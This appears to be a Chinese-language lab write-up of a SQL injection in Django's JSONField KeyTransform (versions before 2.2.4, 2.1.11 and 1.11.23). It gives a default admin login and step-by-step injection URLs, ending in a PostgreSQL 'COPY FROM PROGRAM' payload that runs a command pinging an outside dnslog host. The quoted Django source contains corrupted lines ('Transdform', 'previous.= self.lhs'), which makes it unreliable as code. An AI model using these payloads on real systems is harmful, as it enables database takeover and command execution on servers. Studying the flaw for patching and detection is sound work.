漏洞描述
Django是一个由Python编写的开源Web框架,采用MTV框架模式。
该漏洞需要开发者使用JSONField/HStoreField且用户可控queryset查询时的键名,在键名的位置实现SQL注入。
Django通常结合PostgreSQL数据库进行使用,而JSONField是该数据库的一种数据类型,漏洞成因在于Django中JSONField类的实现,Django的model的本质作用在于生成SQL语句,但Django在通过JSONField生成SQL语句时仅通过简单字符串拼接,通过JSONField类获得KeyTransform类并生成SQL语句:
class KeyTransform(Transdform):
operator = '->'
nested_operator = '#>'
def __init__(self, key_name, *args, **kwargs):
super().__init__(*args, **kwargs)
self.key_name = key_name
def as_sql(self, compiler, connection):
key_transforms = [self.key_name]
previous.= self.lhs
while isinstance(previous, KeyTransform):
key_transforms.insert(0, previous.key_name)
previous = previous.lhs
lhs, params = compiler.compile(previous)
if len(key_transforms) > 1:
return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
try:
int(self.key_name)
except ValueError:
lookup = "'%s'" % self.key_name
else:
lookup = "%s" % self.key_name
return "(%s %s %s)" % (lhs, self.operator, lookup), params
其中key_name是可控字符串,最终生成语句是WHERE(field-'[key_name]')='value'。
影响版本
Django < 2.2.4的Django 2.2.x版本。
Django < 2.1.11的Django 2.1.x版本。
Django < 1.11.23的Django 1.11.x版本。
漏洞复现
访问管理员登录页面:http://<ip>:8000/admin,默认帐密admin/a123123123。
访问http://<ip>:8000/admin/vuln/collection。
构造URL:http://<ip>:8000/admin/vuln/collection/?detail__a'b=123,页面报错:
Exception Value:
syntax error at or near "b') = '"
LINE 1: ...llection" WHERE ("vuln_collection"."detail" -> 'a'b') = '"12...
注入成功且能够查看注入语句,继续构造http://<ip>:8000/admin/vuln/collection/?detail__title')='1' or 1=1--,由于or 1=1永真,此时页面正常。
尝试命令注入,构造URL:http://<ip>:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20 ,报错原因:
Exception Value:
no results to fetch
这说明我们的命令已执行成功,继续尝试ping一下dnslog,构造http://<ip>:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping oopsdc.sadjoiqw.dnslog.cn'--%20,成功检测到流量。
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。